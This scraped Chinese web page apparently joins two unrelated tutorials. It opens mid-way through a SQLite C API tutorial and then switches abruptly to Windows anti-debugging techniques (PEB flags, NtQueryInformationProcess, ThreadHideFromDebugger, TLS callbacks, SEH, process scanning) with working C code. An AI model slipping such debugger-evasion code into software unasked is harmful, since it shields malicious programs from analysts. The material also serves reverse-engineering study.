//创建一个测试表，表名叫 MyTable_1，有2个字段： ID 和 name。其中ID是一个自动增加的类型，以后insert时可以不去指定这个字段，它会自己从0开始增加
result = sqlite3_exec( db, “create table MyTable_1( ID integer primary key autoincrement, name nvarchar(32) )”, NULL, NULL, errmsg );
if(result != SQLITE_OK )
{
printf( “创建表失败，错误码:%d，错误原因:%s\n”, result, errmsg );
}
//插入一些记录
result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘走路’ )”, 0, 0, errmsg );
if(result != SQLITE_OK )
{
printf( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );
}
result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘骑单车’ )”, 0, 0, errmsg );
if(result != SQLITE_OK )
{
printf( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );
}
result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘坐汽车’ )”, 0, 0, errmsg );
if(result != SQLITE_OK )
{
printf( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );
}
//开始查询数据库
result = sqlite3_exec( db, “select * from MyTable_1”, LoadMyInfo, NULL, errmsg );
//关闭数据库
sqlite3_close( db );
return 0;
}

通过上面的例子，应该可以知道如何打开一个数据库，如何做数据库基本操作。
有这些知识，基本上可以应付很多数据库操作了。

（3）不使用回调查询数据库

上面介绍的 sqlite3_exec 是使用回调来执行 select 操作。还有一个方法可以直接查询而不需要回调。
但是，我个人感觉还是回调好，因为代码可以更加整齐，只不过用回调很麻烦，你得声明一个函数，如果这个函数 是类成员函数，你还不得不把它声明成 static 的
（要问为什么？这又是C++基础了。C++成员函数实际上隐藏了一个参数：this，C++调用类的成员函数的时候，隐含把类指针当成函数的第一个参数 传递进去。
结果，这造成跟前面说的 sqlite 回调函数的参数不相符。只有当把成员函数声明成 static 时，它才没有多余的隐含的this参数）。
虽然回调显得代码整齐，但有时候你还是想要非回调的 select 查询。这可以通过 sqlite3_get_table 函数做到。
int sqlite3_get_table(sqlite3, const char sql, char resultp, int nrow, int *ncolumn, char errmsg );
第1个参数不再多说，看前面的例子。
第2个参数是 sql 语句，跟 sqlite3_exec 里的 sql 是一样的。是一个很普通的以\0结尾的char *字符串。
第3个参数是查询结果，它依然一维数组（不要以为是二维数组，更不要以为是三维数组）。它内存布局是：第一行是字段名称，后面是紧接着是每个字段的值。下面用例子来说事。
第4个参数是查询出多少条记录（即查出多少行）。
第5个参数是多少个字段（多少列）。
第6个参数是错误信息，跟前面一样，这里不多说了。
下面给个简单例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

int main( int , char ** )
{
sqlite3 * db;
int result;
char * errmsg = NULL;
char **dbResult; //是 char ** 类型，两个*号
int nRow, nColumn;
int i , j;
int index;
result = sqlite3_open( “c:\\Dcg_database.db”, &db );
if( result != SQLITE_OK )
{
//数据库打开失败
return -1;
}
//数据库操作代码
//假设前面已经创建了 MyTable_1 表
//开始查询，传入的 dbResult 已经是 char **，这里又加了一个 & 取地址符，传递进去的就成了 char ***
result = sqlite3_get_table( db, “select * from MyTable_1”, &dbResult, &nRow, &nColumn, &errmsg );
if( SQLITE_OK == result )
{
//查询成功
index = nColumn; //前面说过 dbResult 前面第一行数据是字段名称，从 nColumn 索引开始才是真正的数据
printf( “查到%d条记录\n”, nRow );
for(  i = 0; i < nRow ; i++ )
{
printf( “第 %d 条记录\n”, i+1 );
for( j = 0 ; j < nColumn; j++ )
{
printf( “字段名:%s  ?> 字段值:%s\n”,  dbResult[j], dbResult [index] );
++index; // dbResult 的字段值是连续的，从第0索引到第 nColumn – 1索引都是字段名称，从第 nColumn 索引开始，后面都是字段值，它把一个二维的表（传统的行列表示法）用一个扁平的形式来表示
}
printf( “——-\n” );
}
}
//到这里，不论数据库查询是否成功，都释放 char** 查询结果，使用 sqlite 提供的功能来释放
sqlite3_free_table( dbResult );
//关闭数据库
sqlite3_close( db );
return 0;
}

到这个例子为止，sqlite3 的常用用法都介绍完了。
用以上的方法，再配上 sql 语句，完全可以应付绝大多数数据库需求。

0×002 BeingDebugged
正常运行：0×0 调试态：0×1
0x00c Ldr：指向堆内存区地址
调试状态堆内存全部填充为0xFEEEFEEE
0×018 ProcessHeap：指向HEAP结构体
0x00c Flags 正常运行：0×2 调试态：0×50000062
0×010 ForceFlags 正常运行：0×2 调试态：0×40000060
0×068 NtGlobalFlag
正常运行：0×0 调试态：0×70
代码示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

#include 
#include
extern “C” BOOL WINAPI IsDebuggerPresent(VOID);
int main()
{
FARPROC pProc = NULL;
LPBYTE pTeb = NULL;
LPBYTE pPeb = NULL;
LPBYTE pLdr = NULL;
LPBYTE pHeap = NULL;
DWORD dst[4] = {0xEEFEEEFE, 0xEEFEEEFE, 0xEEFEEEFE, 0xEEFEEEFE};
//BeingDebugged
printf(“BeingDebugged———\n”);
if (IsDebuggerPresent())
{
printf(“Debugger Detected!\n”);
}
else
{
printf(“No Debugger!\n”);
}
//Ldr
printf(“\nLdr———\n”);
pProc = GetProcAddress(GetModuleHandle(“ntdll.dll”), “NtCurrentTeb”);
pTeb = (LPBYTE)(*pProc)();
pPeb = (LPBYTE)*(LPDWORD)(pTeb + 0×30);
pLdr = (LPBYTE)*(LPDWORD)(pPeb + 0xc);
__try
{
while (1)
{
if (!memcmp(dst, pLdr, sizeof(dst)))
{
printf(“Debugger Detected!\n”);
break;
}
pLdr++;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
printf(“No Debugger!\n”);
}
//ProcessHeap
printf(“\nProcessHeap———\n”);
pHeap = (LPBYTE)*(LPDWORD)(pPeb + 0×18);
if (*(LPDWORD)(pHeap + 0x0c) == 0×50000062 || *(LPDWORD)(pHeap + 0×10) == 0×40000060)
{
printf(“Debugger Detected!\n”);
}
else
{
printf(“No Debugger!\n”);
}
//NtGlobalFlag
printf(“\nNtGlobalFlag———\n”);
if (*(LPDWORD)(pPeb + 0×68) == 0×70)
{
printf(“Debugger Detected!\n”);
}
else
{
printf(“No Debugger!\n”);
}
printf(“\n\n”);
return 0;
}

2. NtQueryInformationProcess

1
2
3
4
5
6
7

NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess (
HANDLE     ProcessHandle, 　　　　　　// 进程句柄
PROCESSINFOCLASS 　　InformationClass, // 信息类型
PVOID 　　　　　ProcessInformation, 　　　 // 缓冲指针
ULONG 　　　　ProcessInformationLength, // 以字节为单位的缓冲大小
PULONG 　　　ReturnLength OPTIONAL     // 写入缓冲的字节数
);

第二个枚举参数中的三个域可以用来做反调试
ProcessDebugPort = 0×7
正常运行：0×0 调试态：0xFFFFFFFF
ProcessDebugObjectHandle = 0x1E
正常运行：NULL 调试态：调试对象句柄
ProcessDebugFlags = 0x1F
正常运行：0×1 调试态：0×0
代码示例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

proc = (NTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandle(“ntdll.dll”), “NtQueryInformationProcess”);
//ProcessDebugPort = 0×7
(*proc)(GetCurrentProcess(), ProcessDebugPort, &dwRet, sizeof(dwRet), NULL);
if (dwRet != 0)
{
printf(“Debugger Detected!\n”);
}
else
{
printf(“No Debugger!\n”);
}
//ProcessDebugObjectHandle = 0x1e
(*proc)(GetCurrentProcess(), ProcessDebugObjectHandle, &dwRet, sizeof(dwRet), NULL);
if (dwRet != 0)
{
printf(“Debugger Detected!\n”);
}
else
{
printf(“No Debugger!\n”);
}
//ProcessDebugFlags = 0x1f
(*proc)(GetCurrentProcess(), ProcessDebugFlags, &dwRet, sizeof(dwRet), NULL);
if (dwRet == 0)
{
printf(“Debugger Detected!=%d\n”, dwRet);
}
else
{
printf(“No Debugger!\n”);
}

3. NtQueryObject

当调试器调试一个进程时，会创建一个调试类型的内核对象，检测系统中是否有调试对象即可判断是否有进程正在被调试。
获取内核对象信息链表，遍历链表中对象类型，如果有DebugObject类型对象则说明有程序正在被调试。

4. ZwSetInformationThread

隐藏线程，使调试器无法接收调试事件。
第二个参数是个枚举类型的，这个域可以用来反调试ThreadHideFromDebugger：0×11
代码示例：

1
2
3
4
5
6
7
8
9

int main()
{
MYZWSETINFOMATIONTHREAD proc = NULL;
proc = (MYZWSETINFOMATIONTHREAD)GetProcAddress(GetModuleHandle(“ntdll.dll”), “ZwSetInformationThread”);
proc(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0);
printf(“done\n”);
system(“pause”);
return 0;
}

5. DebugActiveProcessStop

这个函数可以把调试器与被调试进程的调试关系解除，这样调试器也就接收不到被调试进程的调试事件了。

6. FindWindow

通过这个函数获取调试器窗口的句柄，如果调试器窗口存在就会返回一个非零的值。

7. TLS回调

Tls回调函数会优先于EP代码执行，所以可以在函数中写入检测代码，在进程还没有开始运行之前就可以知道是否正在被调试。TLS其实不算反调试技术，只有在结合了其他反调试技术才会有反调试的效果。
代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#include 
#include
void NTAPI Tls_Callback(PVOID h, DWORD dwReason, PVOID pv)
{
if( DLL_PROCESS_ATTACH == dwReason )
{
if (IsDebuggerPresent())
{
printf(“Debugger Detected!\n”);
}
}
}
#pragma comment(linker, “/INCLUDE:__tls_used”)
#pragma data_seg(“.CRT$XLX”)
PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { Tls_Callback, 0 };
#pragma data_seg()
int main()
{
printf(“tls callback anti-debug————\n\n”);
system(“pause”);
return 0;
}

8. SEH

1）
a.安装seh处理函数
b.故意触发一个异常，跳转到刚注册的seh处理函数中
c.在seh处理函数中写入检测代码
2）
a.SetUnhandledExceptionFilter更改默认顶层异常处理函数
b.触发异常，跳转到更改过的顶层异常处理函数中
c. 在seh处理函数中写入检测代码

9. 进程快照

CreateToolhelp32Snapshot、Process32First、Process32Next
这几个函数可以用来建立一个系统正在运行的进程快照，然后遍历进程快照查找是否有常见的调试器进程正在运行也可用作反调试。

本文章转至[三叶草]（http://syclover.sinaapp.com/?cat=4）